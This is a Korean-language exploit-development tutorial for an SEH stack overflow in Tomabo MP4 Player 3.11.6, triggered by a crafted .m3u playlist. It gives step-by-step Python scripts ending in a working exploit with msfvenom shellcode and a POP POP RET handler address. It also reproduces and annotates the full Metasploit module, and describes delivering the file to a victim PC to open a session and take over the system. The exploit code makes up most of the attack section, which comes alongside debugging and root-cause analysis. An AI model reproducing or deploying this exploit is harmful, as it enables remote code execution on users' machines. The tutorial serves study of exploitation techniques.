1. 개요
1.1. 취약점 요약
2015년 8월 30일 yokoacc, nudragn, rungga_reksya가 Tomabo MP4 Player 3.11.6 음악/비디오 재생 프로그램의 취약점을 제작 회사에게 공개했다. 하지만, 17일(2015년 9월 16일)이 지나도 응답이 없자 2015년 10월 18일 공개적으로 취약점을 발표했다.
이 취약점은 1,000 ~ 1,100 바이트 크기의 조작된 .m3u 확장자 파일을 로드하면 SEH 기반 스택 오버플로우(SEH Stack Overflow)가 발생한다.
Exploit-DB에 업로드 된 공격 코드를 보면 제작자가 개발한 파이썬 공격 코드와 메타스플로잇 프레임워크에서 동작 가능한 루비 코드가 존재한다.
파이썬으로 공격 코드를 개발하고, 루비 코드를 분석한다. 해당 프로그램의 공격 코드를 개발 및 분석하기 앞서 기본적으로 알아야 할 배경 지식을 습득 후 진행한다.
2. 배경 지식
2.1. 실습 환경
구분 | 내용 |
운영체제 | Windows 7 32bit SP1, Kali Linux 2016.1 |
대상 프로그램 | reader.exe, seh.exe, safeseh_reader.exe |
컴파일 환경 | Visual Studio 2013 |
2.2. 스택 쿠키
2.3. SEH
2.4. SEH Overwrite
2.5. SafeSEH
2.6. SafeSEH 우회
2.7. 스택 조정
3. 취약점 공격
3.1. 실습 환경
구분 | 내용 |
운영체제 | Windows 7 32bit SP1, Kali Linux 2016.1 |
대상 프로그램 | Tomabo MP4 Player 3.11.6 |
증명 코드 | https://www.exploit-db.com/exploits/38486 https://www.exploit-db.com/exploits/39980 |
3.2. 파이썬 공격 코드 개발
Tomabo MP4 Player 3.11.6 프로그램은 1,000 ~ 1,100 바이트 크기의 조작된 .m3u 확장자 파일을 로드하면 SEH 기반 스택 오버플로우가 발생한다.
SEH 기반 스택 오버플로우의 선행 작업은 일반적인 스택 버퍼 오버플로우와 동일하게 비정상적인 에러(크래시, Crash)가 발생한지 확인한다.
Exploit-DB에 업로드 된 취약한 프로그램을 윈도우 7 32bit 운영체제에 설치하고, 1,000개의 "A" 문자열을 tomabo1.m3u 파일로 저장하는 코드를 작성한다.
# tomabo1.m3u - by Daze
import struct
junk1 = "A" * 1000
f = open("tomabo1.m3u", "w")
f.write(junk1)
f.close()
print "[+] m3u file created successfully"
프로그램(Tomabo MP4 Player)에서 tomabo1.m3u 파일을 열어보면 파일의 내용(마우스 커서 위치)만 출력될 뿐 크래시가 발생하지 않는다.
○ C:\Program Files\Tomabo\MP4 Player\MP4Player.exe
○ File > Open Files > tomabo1.m3u > 열기
2,000개의 "A" 문자열을 tomabo2.m3u 파일로 저장하는 코드(tomabo2.py)를 작성하고, 프로그램에서 tomabo2.m3u 파일을 열어보면 크래시가 발생하여 프로그램이 중지된다.
에러가 발생한 내용을 보면 프로그램의 버퍼를 초과하여 RET가 변조되었고, 존재하지 않는 주소(0x41414141, AAAA)로 이동할 때 발생한다.
보통 프로그램 오류 보고 창에서 프로그램 디버그 버튼을 클릭하면 자동으로 설정 된 디버거가 실행되어 현재 크래시 현황을 포착한다.
하지만, 현재 프로그램은 설정 된 디버거가 실행되자 마자 바로 종료되므로 이뮤니티 디버거로 프로그램을 열어 F9를 누르고 tomabo2.m3u 파일을 로드한다.
파일을 로드하면 EAX-C(0x41414135)의 값과 1를 비교하는 0x4A82D5 주소에서 예외가 발생하여 디버거에게 제어권이 넘어간다.
○ File > Open > C:\Program Files\Tomabo\MP4 Player\MP4Player.exe > 열기
예외가 발생하면 등록 된 SEH 체인을 확인하여 예외 처리 핸들러를 실행한다. 하지만, Next SEH와 Handler가 존재하지 않는 0x41414141(AAAA)로 덮어씌워져 정상적으로 예외 처리를 하지 못한다.
디버거에게 제어권이 넘어간 상태이므로 Shift+F8을 눌러 예외를 디버기(MP4Player.exe)에게 돌려준다.
스택 창을 보면 예외 처리를 위한 코드로 넘어가게 되고, F9를 누르면 등록 된 예외 처리 핸들러가 실행된다. 등록 된 예외 처리 핸들러는 0x41414141인데, 실질적으로 존재하지 않는 주소이므로 이를 처리하지 못한다.
예외 처리 핸들러의 정확한 위치를 확인하기 위해 일정한 규칙을 갖는 2,000개의 패턴을 생성하여 tomabo3.m3u 파일로 저장하는 코드를 작성한다.
# tomabo3.m3u - by Daze
import struct
junk1 = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa... # pattern_create 2000
f = open("tomabo3.m3u", "w")
f.write(junk1)
f.close()
print "[+] m3u file created successfully"
이뮤니티 디버거로 프로그램을 열어 F9 > Shift+F8 > F9 단계로 누르면 EIP가 0x42346942로 변조 된다. SEH 체인을 보면 Next SEH와 핸들러가 각 0x33694232, 0x42346942로 변조되었고, 예외를 발생시키기 위한 버퍼의 크기는 1028 바이트이다.
!mona exchain 명령어로 확인한 공격 코드 구성으로 작성하여 tomabo4.m3u 파일로 저장하는 코드를 작성한다.
# tomabo4.m3u - by Daze
import struct
junk1 = "A" * 1028
nseh = "B" * 4
handler = "C" * 4
buf = "D" * 400
payload = junk1 + nseh + handler + buf
f = open("tomabo4.m3u", "w")
f.write(payload)
f.close()
print "[+] m3u file created successfully"
이뮤니티 디버거로 프로그램을 열어 tomabo4.m3u 파일을 로드하면 공격 코드와 동일하게 Next SEH에 0x42424242(BBBB)로 덮어씌워 졌고, Handler에 0x43434343(CCCC)로 덮어씌워 졌다.
예외 처리 핸들러에 POP POP RET 명령어(이에 대응 명령어)를 사용하는 주소를 주입하면 해당 예외를 제대로 처리하지 못해 Next SEH 주소로 이동된다.
!mona seh 명령어를 입력하면 SafeSEH가 적용되지 않는 POP POP RET 명령어를 사용하는 주소를 다수 발견할 수 있다. Tomabo MP4 Player 프로그램은 SafeSEH가 적용되지 않았으며 명령어 확인한 결과 dll를 사용하지 않는다.
POP POP RET 명령어를 사용하는 주소(0x489e69)를 handler 변수에 설정하고, tomabo5.m3u 파일로 저장하는 코드를 작성한다.
# tomabo5.m3u - by Daze
import struct
junk1 = "A" * 1028
nseh = "B" * 4
handler = struct.pack('<L',0x00489e69)
buf = "D" * 400
payload = junk1 + nseh + handler + buf
f = open("tomabo5.m3u", "w")
f.write(payload)
f.close()
print "[+] m3u file created successfully"
이뮤니티 디버거로 프로그램을 열어 tomabo5.m3u 파일을 로드하여 예외 처리 핸들러 주소(0x489e69)에 브레이크 포인트를 설정하고, F9 > Shift+F8 > F9를 누르면 등록 된 예외 처리 핸들러에 멈춘다.
현재 ESP는 스택의 0x12E558를 가리키고 있고, ESP+8에 Next SEH 주소(0x12F77C)가 저장되어 있다.
RETN 명령어까지 실행하면 Next SEH 주소로 이동된다. Next SEH에 존재하지 않는 주소(0x42424242)를 가리키고 있으므로 더 이상 실행되지 않는다.
Next SEH 하단에 0x44444444가 저장되어 있다. 만약, 0x44444444에 쉘코드가 저장되어 있다면 Next SEH에 쉘코드로 이동하면 명령어를 주입하면 쉘코드가 실행된다.
쉘코드로 이동하는 JMP SHORT 명령어의 기계어 코드를 nseh 변수에 설정하고, buf 변수에 메시지 박스를 출력하는 범용 쉘코드를 설정하고, tomabo_exploit1.m3u 파일로 저장하는 코드를 작성한다.
○ msfvenom -p windows/messagebox TITLE="MessageBox" TEXT="Daze Hack!" -b "\x00\x09\x0a\x0b\x0c\x0d\x1a\x20" -f python
○ 배드 캐릭터 : 덤프 창의 0x12F785 주소에 저장되는 문자 값 확인
# tomabo_exploit1.m3u - by Daze
import struct
junk1 = "A" * 1028
nseh = struct.pack('<L',0x909007eb)
handler = struct.pack('<L',0x00489e69)
nop = "\x90"
buf = ""
buf += "\xbd\xd0\x98\xc1\x04\xd9\xc9\xd9\x74\x24\xf4\x5e\x33"
buf += "\xc9\xb1\x42\x83\xee\xfc\x31\x6e\x10\x03\x6e\x10\x32"
buf += "\x6d\x18\xef\x29\x57\xef\xd4\xb9\x59\xc2\xa7\x36\xab"
buf += "\x2b\xa3\x33\xba\x9b\xa7\x35\x31\x57\xc1\xa5\xc2\x21"
buf += "\x26\x5e\xaa\x8d\xbd\x56\x6b\x81\xd9\xe3\x78\x44\xdb"
buf += "\xda\x80\x96\xbb\x57\x12\x7d\x18\xec\xae\x41\xeb\xa6"
buf += "\x18\xc2\xea\xac\xd2\x78\xf5\xbb\xbf\x5c\x04\x50\xdc"
buf += "\xa9\x4f\x2d\x17\x59\x4e\xdf\x69\xa2\x60\xdf\x76\xf0"
buf += "\x07\x1f\xf2\x0e\xc9\x50\xf6\x11\x0e\x85\xfd\x29\xec"
buf += "\x7d\xd6\x38\xed\xf6\x7c\xe7\xec\xe3\xe7\x6c\xe2\xb8"
buf += "\x6c\x28\xe7\x3f\x98\x46\x13\xb4\x5f\xb1\x95\x8e\x7b"
buf += "\x5d\xc7\xcd\x36\x55\x2e\x05\xbf\x83\xb9\x67\xa8\xc5"
buf += "\xf4\x69\xc5\x88\xe0\xea\xea\xd2\x0e\x9d\x50\x29\x4a"
buf += "\xe3\x82\xd3\xdf\x9c\x2f\x30\x72\x4a\xc1\xc7\x8d\x75"
buf += "\x57\x72\x7a\xe1\x04\x11\x5a\xb0\xbc\xda\xa8\x1c\x59"
buf += "\x75\xb8\x13\xc4\xf7\x72\x08\x8e\xa4\x56\xa4\x06\xb2"
buf += "\xc1\x47\x4d\x3f\x67\x75\x3e\x84\xdf\xdb\xf2\x46\x98"
buf += "\x07\x29\xe5\x4f\x68\xce\xf6\x6f\xfe\x5f\x71\xc8\xde"
buf += "\xf7\xe0\x8f\x7b\x4a\x8b\x02\xe6\x39\x38\xac\x33\x35"
buf += "\xe2\xea\xc9\xcf\xf8\x9b\xa6\xee\xa6\x7b\x50\xd1\x1e"
buf += "\x1d\xc3\x79\xdb\xbc\x79\x1f\xd2\xf7\xf5\x93\x30\x02"
buf += "\x8c\xcd\x08\xc0\xdc\x5e\x3a\xb6\x1f\xb0\x8d\xf6\x8f"
buf += "\xce\xbb\xfe"
payload = junk1 + nseh + handler + nop + buf
f = open("tomabo_exploit1.m3u", "w")
f.write(payload)
f.close()
print "[+] m3u file created successfully"
이뮤니티 디버거로 tomabo_exploit1.m3u 파일을 로드하면 POP POP RET 명령어가 실행되어 Next SEH 주소로 이동된다.
해당 주소에 쉘코드로 이동하는 JMP SHORT 명령어로 인해 쉘코드가 실행된다. 쉘코드로 이동하는 명령어를 0xEB0C로 하면 Next SEH로 이동되지 않는다.
쉘코드를 직접 지정하여 실행해본 결과 0x12F77C부터 쉘코드 위치까지 7바이트였다.
3.3. 메타스플로잇 공격 코드 분석
Exploit-DB에 업로드 된 메타스플로잇 공격 코드는 파일 포맷을 이용한 로컬 익스플로잇이다. 먼저 공격 코드를 분석하고, 실행하는 단계로 진행한다.
공격 코드를 /usr/share/metasploit-framework/modules/exploits/windows/fileformat/ 디렉토리로 복사하고, 파일 이름을 tomabo_mp4player_bof.rb로 변경한다.
실질적으로 취약점을 공격하는 exploit 함수를 보면 1,028 바이트 크기의 알파벳 문자를 입력하면 예외가 발생한다.
예외가 발생하면 조작 된 Next SEH와 Handler가 실행되어 쉘코드가 실행된다. 페이로드 구성도 파이썬 공격 코드와 동일하다.
## tomabo_mp4player_bof.rb
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core' #
class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,
'Name' => 'Tomabo M3U SEH Based Stack Buffer Overflow',
'Description' => %q{
This module exploits a stack over flow in Tomabo MP4 Player <= 3.11.6. When
the application is used to open a specially crafted m3u file, an buffer is overwritten allowing
for the execution of arbitrary code.
},
'License' => MSF_LICENSE,
'Author' => [
'yokoacc', # Proof of concept
'nudragn', # Proof of concept
'rungga_reksya', # Proof of concept
'rahmat_nurfauzi' # Metasploit module
],
'References' =>
[
[ 'EDB', '38486' ],
[ 'URL', 'http://www.tomabo.com/mp4-player/download.html'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'seh',
'StackAdjustment' => -3500,
'DisableNops' => 'True',
},
'Payload' =>
{
'Space' => 1800,
'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x1a\x20"
},
'Platform' => 'win',
'Targets' =>
[
[ 'Tomabo MP4 Player <= 3.11.6', { 'Ret' => 0x00401CA9 } ],
],
'Privileged' => false,
'DisclosureDate' => 'Oct 18 2015',
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u']),
], self.class)
end
def exploit
sploit = rand_text_alpha_upper(1028)
sploit << "\xeb\x08\x90\x90" # short jump 8 bytes
sploit << [target.ret].pack('V') # universal
sploit << "\x90" * 16
sploit << payload.encoded
sploit << "\x44" * 436
playlist = sploit
print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(playlist)
end
end
구분 | 내용 |
6행 | msf/core 라이브러리 로드 |
8행 | 원격 익스플로잇 클래스 상속 |
9행 | 익스플로잇 취약률(GoodRanking : 안정적인 타겟 확보 가능) |
11행 | 파일 포맷 기능을 가져와서 상위 클래스처럼 사용(믹스인) |
13행 | 익스플로잇 초기화 코드, 상위 클래스에 선언되어 있는 기본 모듈 정보 정의 |
14행 | super는 상위 클래스에 존재하는 동일한 메소드를 호출 |
15행 | 익스플로잇 모듈 이름 |
16행 | 익스플로잇 모듈 설명 |
21행 | 익스플로잇 모듈 라이센스 |
22행 | 익스플로잇 모듈 제작자 |
28행 | 익스플로잇 모듈 레퍼런스(취약점 코드, 참고 사이트) |
33행 | 기본 옵션 정의(SEH, 스택 조정 등) |
39행 | 페이로드 정의(페이로드를 넣을 공간, 페이로드 생성 시 생략할 문자 등), 페이로드마다 옵션이 다름 |
44행 | 익스플로잇할 대상 운영체제(윈도우) |
45행 | 대상 별 RET, SEH 공격이므로 핸들러 주소를 의미 |
53행 | 기본 및 고급 옵션을 추가하거나 제거 |
55행 | 기본 옵션에 파일 이름을 msf.m3u 파일로 지정 |
59행 | 실제 대상 시스템에서 동작 가능한 익스플로잇 코드를 담고 있는 함수 |
60행 | 1,028 바이트 크기의 알파벳 문자를 sploit에 저장 |
61행 | SHORT JMP 0x08에 해당하는 기계어 코드를 sploit에 저장 |
62행 | POP POP RET 명령어가 들어있는 주소를 sploit에 저장, RET가 자동으로 설정 됨 |
63행 | NOP를 sploit에 저장 |
64행 | 페이로드를 인코딩하여 sploit에 저장 |
65행 | 나머지 436 바이트를 sploit에 저장 |
70행 | 구성 된 페이로드 형식으로 msf.m3u 파일 생성 |
메타스플로잇 공격 코드의 8행에 MetasploitModule를 Metasploit3으로 변경하고, msfconsole을 실행한다.
tomabo_mp4player_bof 모듈 옵션을 설정하고 exploit 명령어를 입력하면 취약점을 유발할 수 있는 msf.m3u 파일이 생성된다. 생성 된 파일을 희생자 PC에 옮기고, 잠시 실행은 하지 말자.
공격자 PC에서 핸들러를 설정하지 않았으므로 희생자 PC에서 msf.m3u 파일을 로드해봤자 공격자와 세션이 맺어지지 않는다. 이를 위해 핸들러를 설정하고, exploit 명령어를 입력한다.
희생자 PC에서 msf.m3u 파일을 로드하면 공격자 PC와 세션이 맺어져 시스템을 장악할 수 있다.
4. 취약점 분석
4.1. 취약점 발생 위치
취약점 공격 코드 개발 시 Tomabo MP4 Player 프로그램은 SafeSEH가 적용되지 않는 것을 확인했다. SafeSEH가 적용되지 않았으므로 문자열 복사 함수 등에서 경계 값을 검사하지 않아 취약점이 발생할 가능성이 높다.
어떤 지점에서 취약점이 발생하는지 디버깅을 통해 알아본다. 이뮤니티 디버거에서 F9 > 프로그램 선택 > F12 > Alt+F9 > 프로그램 로드 단계로 진행하면 tomabo_exploit1.m3u 파일을 로드하는 지점을 확인할 수 있다.
0x425624 주소의 함수가 호출하기 전 인자를 스택에 저장하고, 이 함수가 호출되면 tomabo_exploit1.m3u 파일의 내용을 0x12F378 주소로 복사 된다.
IDA로 0x425624 주소의 기계어 코드를 역컴파일하면 fscanf() 함수를 호출하여 파일의 내용을 변수에 저장한다.
0x4A82D3 주소의 ESI 레지스터의 값을 EAX에 복사하고, EAX-C의 값과 1를 비교할 때 예외가 발생한다.
ESI 레지스터의 값을 보면 0x12FF78이다. 이 주소는 문자열 복사 함수가 호출된 후 버퍼의 끝 지점(Next SEH 직전)으로 0x41414141(AAAA)로 덮어씌워져 있다.
0x41414143과 1를 비교하므로 예외가 발생한 것이다.
.m3u 파일이 로드되는 위치에 브레이크 포인트를 설정하고 함수를 따라 가보면 fscan() 함수 호출지점 및 예외 발생 지점을 확인할 수 있다.(View > Call Stack)
5. 참고 문헌
5.1. 참고 서적
○ 윈도우 시스템 해킹 가이드 버그헌팅과 익스플로잇 - 김현민 저
○ 리버싱 핵심 원리 - 이승원 저
5.2. 참고 저널
○ Exploit Writing Tutorial 3, 6 - 한국정보보호교육센터
○ Exploit Writing Tutorial 3 - 한국정보보호교육센터
○ Window Stack Buffer Overflow - RedAlert
○ Windows System Hacking Technique - rekcah
○ Buffer overflow exploitation - Khalil Ezhani
○ SEH Overwrite - K.knock
○ SEH Overwrites Simplified - Aelphaeis Mangarae
○ SEH Overwrite 소개 및 시연 - moon1408
○ Structured Exception Handler EXPLOITATION - HIGH-TECH BRIDGE
○ Adrenalin 2.2.5.3 Structured Exception Handler Overflow - WraithOfGhost
○ MP3 CD Converter Professional 5.30 Structured Exception Handler Overflow - WraithOfGhost
○ windows_bufferoverflow(2)-SEH Overflow - Hyunmini
○ SEH(Structured Exception Handling) - @Xpert
▶ Stack Adjustment - Stack BOF
▶ SEH(Structured Exception Handler) - Stack BOF
▶ Stack Cookie(GS Cookie) - Stack BOF